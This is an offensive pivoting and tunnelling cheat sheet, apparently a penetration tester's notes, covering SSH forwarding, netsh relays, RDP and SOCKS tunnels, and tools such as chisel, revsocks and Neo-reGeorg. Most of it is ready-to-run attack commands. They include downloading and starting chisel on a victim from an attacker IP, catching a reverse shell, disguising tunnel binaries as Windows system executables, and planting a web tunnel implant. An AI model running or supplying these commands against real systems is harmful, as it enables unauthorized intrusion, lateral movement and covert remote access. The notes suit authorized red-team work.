Check if connections are allowed at a certain port (alternative to nc.exe and powercat.ps1 ):
Copy # Test-NetConnection -ComputerName 10.10.13.37 -Port 4444
$port = $args [ 0 ]
$endpoint = New-Object System.Net.IPEndPoint([ System.Net.IPAddress ]::Any , $port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port $port"
while ( $true )
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
} Check if the machine can reach specific remote port when Test-NetConnection is not available (1 , 2 ):
Copy $ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'powershell (New-Object System.Net.Sockets.TcpClient("192.168.2.22", 445)).Connected' | grep -ai True Using PortQryV2 :
Copy Cmd > PortQry.exe –n <IP> -p tcp/udp/both -e <PORT> -v SSH
Local vs Remote Port Forwarding
A cheatsheet for SSH Local/Remote Forwarding command syntax:
-L 1111:127.0.0.1:2222: the traffic is forwarded from SSH client via SSH server , so 1111 is listening on client-side and traffic is sent to 2222 on server-side .
-R 2222:127.0.0.1:1111: the traffic is forwarded from SSH server via SSH client , so 2222 is listening on server-side and traffic is sent to 1111 on client-side .
Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel (remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally, he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.
Copy Attacker (10.10.13.37) Pivot1 (10.1.1.1) Pivot2 (10.2.2.2) Victim (10.3.3.3)
┌──────────────────────────────────────────────────────────────────────┐ ┌───────────────────────────────────────────────┐ ┌────────────────────────────────┐ ┌───────────────────┐
│ 22 │ │ │ │ │ │ │
│ 1. ssh -R 443:127.0.0.1:9001 root@10.1.1.1 ------------------------------► 10.1.1.1:22 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 2. │ │ Listens 0.0.0.0:443 ("GatewayPorts yes") │ │ │ │ │
│ │ │ │ │ │ │ │
│ 3. │ │ ~C ssh> -L 9002:10.2.2.2:80 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 4. Listens 127.0.0.1:9002 (to interact with web server 10.2.2.2:80) │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 5. shellpop -H 10.2.2.2 -P 443 --reverse --number 8 --base64 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 9001 over 10.1.1.1:22 │ │ 443 │ │ │ │ │
│ 6. rlwrap nc -lvnp 9001 ◄--- 127.0.0.1:9001 ◄----------------------------- 0.0.0.0:443 ◄───────────────────────────────┼──┼── Web server 10.2.2.2:80 │ │ │
│ │ │ │ │ │ │ │
│ 7. Got shell from 10.2.2.2 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 8. Got root on 10.2.2.2 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ ~C ssh> -L 9003:127.0.0.1:1337 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 9. Listens 127.0.0.1:9003 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ 22 │ │ │ │ │
│ │ │ ssh -L 1337:127.0.0.1:22 root@10.2.2.2 ----------► 10.2.2.2:22 │ │ │
│ │ │ │ │ │ │ │
│ │ │ Listens 127.0.0.1:1337 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 1337 over 10.1.1.1:22 │ │ 22 over 10.2.2.2:22 │ │ │ │ │
│ 10. ssh root@127.0.0.1 -p 9003 -------------------------------------------► 127.0.0.1:1337 ----------------------------------► 127.0.0.1:22 │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ │ ~C ssh> -L 9004:10.3.3.3:80 │ │ │
│ │ │ │ │ │ │ │
│ 11. Listens 127.0.0.1:9004 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 1337 over 10.1.1.1:22 │ │ 22 over 10.2.2.2:22 │ │ │ │ │
│ 12. curl http://127.0.0.1:9004/ ------------------------------------------► 127.0.0.1:1337 ----------------------------------► 127.0.0.1:22 ────────────────┼──┼─► 10.3.3.3:80 │
│ │ │ │ │ │ │ │
└──────────────────────────────────────────────────────────────────────┘ └───────────────────────────────────────────────┘ └────────────────────────────────┘ └───────────────────┘ Notes:
1 For SSH server to listen at 0.0.0.0 instead of 127.0.0.1, the GatewayPorts yes must be set in /etc/ssh/sshd_config.
1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by doing local port forwarding instead of remote .
Copy snovvcrash@attacker:~$ ./chisel server -p 8000
root@pivot1:# nohup ./chisel client 10.10.13.37:8000 443:127.0.0.1:9001 &
root@pivot1:# netstat -tulpan | grep 443
tcp6 0 0 :::443 :::* LISTEN 18406/./chisel
snovvcrash@attacker:~$ rlwrap nc -lvnp 9001 Let's say we're doing a Remote Port Forwarding via SSH (with GatewayPorts yes) through ProxyChains like this:
Copy $ proxychains ssh -R 80:127.0.0.1:8080 root@192.168.1.11 Then it's crucial to make sure that local connections are excluded from ProxyChains interception via the localnet 127.0.0.0/255.0.0.0 option in proxychains.conf. Otherwise, traffic redirection from server's 192.168.1.11:80 to client's 127.0.0.1:8080 are captured by ProxyChains and never reach the client!
Remote Dynamic Forwarding
Attacker's IP: 10.10.13.37
Victims's IP: 10.10.13.38
An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.
Generate a dummy SSH key on Victim:
Copy alice@victim:~$ ssh-keygen -f dummy_key -t ed25519 -q -N "" Add dummy_key.pub contents to authorized_keys on Attacker with the following options:
Copy snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11-forwarding,no-pty <DUMMY_KEY_PUB> Connect to Attacker's SSH server from Victim:
Copy alice@victim:~$ ssh -fN -R 1080 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -i dummy_key snovvcrash@10.10.13.37 L2 VPN over SSH
Allow tunneling in SSH server config on Victim:
Copy root@victim:~$ sudo vi /etc/ssh/sshd_config
...uncomment "PermitTunnel = yes"...
root@victim:~$ sudo service sshd restart Connect to Victim building a Ethernet tunnel:
Copy snovvcrash@attacker:~$ sudo ssh -oTunnel=ethernet -w0:0 root@192.168.1.11 Enable tap interfaces on both ends:
Copy root@victim:~$ sudo ip link set tap0 up
snovvcrash@attacker:~$ sudo ip link set tap0 up Put Victim's interface and tap into bridge:
Copy root@victim:~$ sudo ip link add br0 type bridge
root@victim:~$ sudo ip link set eth0 master br0
root@victim:~$ sudo ip link set tap0 master br0
root@victim:~$ sudo ip link set br0 up Get an IP address for tap on Attacker:
Copy snovvcrash@attacker:~$ sudo dhclient -v tap0 SOCKS over Hardened SSH
With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through active SSH connection:
Copy snovvcrash@attacker:~$ cat tunnel.sh
ssh alice@victim "./socat TCP-LISTEN:2222,reuseaddr STDIO"
snovvcrash@attacker:~$ socat TCP:localhost:22 EXEC:./tunnel.sh
alive@victim:~$ ssh -R 1080 -p 2222 snovvcrash@attacker netsh
Rules
Allow inbound traffic flow on port 4444/TCP:
Copy Cmd > netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP localport=4444
Cmd > netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444 Relay
Add a relay between two machines (need to be local admin).
Make any traffic hitting port 8443 on 0.0.0.0 to be redirected to 10.10.13.37 on port 443 :
Copy Cmd > netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=10.10.13.37 connectport=443 protocol=tcp Show active relays:
Copy Cmd > netsh interface portproxy show v4tov4 Remove a relay:
Copy Cmd > netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8443 TCP over RDP
xfreerdp + rdp2tcp
Copy $ xfreerdp /cert:ignore [/client-hostname:WORKGROUP] /u:snovvcrash /p:'Passw0rd!' [/d:megacorp.local] /v:PC01.megacorp.local /dynamic-resolution +clipboard [/timeout:25000] [-sec-nla] [/drive:share,/home/snovvcrash/share] [/rdp2tcp:/home/snovvcrash/tools/rdp-tunnel/rdp2tcp] Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):
Copy $ python rdp2tcp.py add reverse 127.0.0.1 9001 127.0.0.1 9002 Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
Copy $ python rdp2tcp.py add forward 127.0.0.1 9001 127.0.0.1 9002 Reverse tunnel web access via SOCKS proxy:
Copy $ python rdp2tcp.py add socks5 127.0.0.1 1080
$ python rdp2tcp.py add reverse 127.0.0.1 1080 127.0.0.1 9003 TCP over SMB
Tools
proxychains4 (proxychains-ng)
Install:
Copy $ git clone https://github.com/rofl0r/proxychains-ng ~/tools/proxychains-ng && cd ~/tools/proxychains-ng
$ ./configure --prefix=/usr --sysconfdir=/etc
$ make
$ sudo make install
$ sudo make install-config
+ edit /etc/proxychains.conf graftcp
sshuttle
Copy $ sshuttle -vr snovvcrash@10.10.13.37 192.168.1.0/24 -e "sshpass -p 'Passw0rd!' ssh"
$ sshuttle -vr snovvcrash@10.10.13.37 192.168.1.0/24 -e "ssh -i ./key" chisel
garble Attacker's IP: 10.10.13.37
Victims's IP: 10.10.13.38
Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):
Copy $ ./chisel server -p 8000 -v --reverse
PS > (New-Object Net.WebClient).DownloadFile("http://10.10.13.37/chisel.exe", "$env:userprofile\music\chisel.exe")
PS > Get-FileHash -Alg md5 "$env:userprofile\music\chisel.exe"
PS > Start-Process -NoNewWindow -FilePath "$env:userprofile\music\chisel.exe" -ArgumentList "client 10.10.13.37:8000 R:127.0.0.1:2222:127.0.0.1:1111"
or
Cmd > [cmd /c] start "" /b chisel.exe ... Socks5 proxy in server mode:
Copy alice@victim:~$ nohup ./chisel server -p 8000 --socks5 &
snovvcrash@kali:~$ ./chisel client 10.10.13.38:8000 [127.0.0.1:1080:]socks Socks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel supports socks5 in client mode now):
Copy snovvcrash@kali:~$ ./chisel server -p 8000 --reverse
alice@victim:~$ nohup ./chisel client 10.10.13.37:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
alice@victim:~$ nohup ./chisel server -v -p 8002 --socks5 &
snovvcrash@kali:~$ ./chisel client 127.0.0.1:8001 [127.0.0.1:1080:]socks Socks5 proxy in client mode:
Copy snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5 [--auth snovvcrash:'Passw0rd!']
alice@victim:~$ nohup ./chisel client [--fingerprint <BASE64_STRING>] [--auth snovvcrash:'Passw0rd!'] 10.10.13.37:8000 R:[127.0.0.1:1080:]socks & Quicky:
Copy $ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'start "" /b C:\Windows\tracerpt.exe server -p 8000 --socks5 --auth snovvcrash:"Passw0rd!"'
$ sudo chisel client -v --auth snovvcrash:'Passw0rd!' 192.168.1.11:8000 127.0.0.1:1080:socks
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'taskkill /IM:tracerpt.exe /F && del C:\Windows\tracerpt.exe' Double SOCKS Proxy
Copy snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5
alice@pivot1:~$ nohup ./chisel client 10.10.13.37:8000 R:socks &
alice@pivot1:~$ nohup ./chisel server -p 8000 --reverse --socks5 &
bob@pivot2:~$ nohup ./chisel client 192.168.1.11:8000 R:socks &
snovvcrash@kali:~$ cp /etc/proxychains4.conf .
snovvcrash@kali:~$ echo 'socks5 127.0.0.1 1080' >> proxychains4.conf
snovvcrash@kali:~$ echo 'socks5 127.0.0.1 1080' >> proxychains4.conf
snovvcrash@kali:~$ proxychains4 -f ./proxychains4.conf nmap -Pn -sT 192.168.3.33 -p445 SharpChisel
revsocks
Copy snovvcrash@kali:~$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'Passw0rd!'
alice@victim:~$ ./revsocks -connect 10.14.14.3:8000 -pass 'Passw0rd!' rsockstun
Copy $ openssl req -new -x509 -keyout cert.key -out cert.crt -days 365 -nodes
$ sudo rsockstun -listen :8000 -socks 127.0.0.1:1080 -cert cert -pass 'Passw0rd!' Quicky:
Copy $ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'start "" /b C:\Windows\WerFault.exe -connect 10.10.13.37:8000 -pass "Passw0rd!"'
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'taskkill /IM:WerFault.exe /F && del C:\Windows\WerFault.exe'
// or get proc image first to make sure you're killing the right proc and kill by pid -- 'wmic process where "name='"'"'WerFault.exe'"'"'" get ProcessID, ExecutablePath' resocks
Copy $ git clone https://github.com/RedTeamPentesting/resocks ~/tools/resocks && cd ~/tools/resocks && go build
$ export RESOCKS_KEY=`./resocks generate`
$ CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H windowsgui -X main.defaultConnectBackAddress=10.10.13.37 -X main.defaultConnectionKey=$RESOCKS_KEY"
$ ./resocks listen Neo-reGeorg
Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel*:
Copy $ python neoreg.py generate -k 'Passw0rd!' Connect to the implant (.aspx, for example):
Copy $ python neoreg.py -k 'Passw0rd!' -u http://web01.megacorp.local/tunnel.aspx -l 0.0.0.0 -p 1337 [--skip] ssf
Map shells to users:
Copy for port in ` netstat -tulpan | grep 127.0.0.1 | grep ssfd | awk '{print $4}' | awk -F: '{print $2}'` ; do echo "127.0.0.1:$port" ; ( echo qwinsta | nc 127.0.0.1 $port & sleep 1 && kill -s INT $!) 2 > /dev/null | grep -a console ; done Alert to Tg about a new connection:
Copy #!/bin/bash
# * * * * * /home/user/tools/check_ssfd_sockets.sh
if [ "$( sudo netstat -tulpan | grep LIST | grep ssfd | wc -l )" -gt 1 ]; then
MESSAGE = "new ssfd connection arrived"
curl -s -X POST "https://api.telegram.org/bot$TOKEN/sendMessage" -d chat_id= "$CHAT_ID" -d text= "$MESSAGE" > /dev/null
fi Services
Dev Tunnels
Copy $ curl -sL https://aka.ms/DevTunnelCliInstall | bash
$ ssh -L 0.0.0.0:443:localhost:8443 -N teamserver
$ devtunnel host -p 443 --allow-anonymous --protocol https Don't forget to set Cookie: *tunnel_phishing_protection=xxxxyyyy.euw
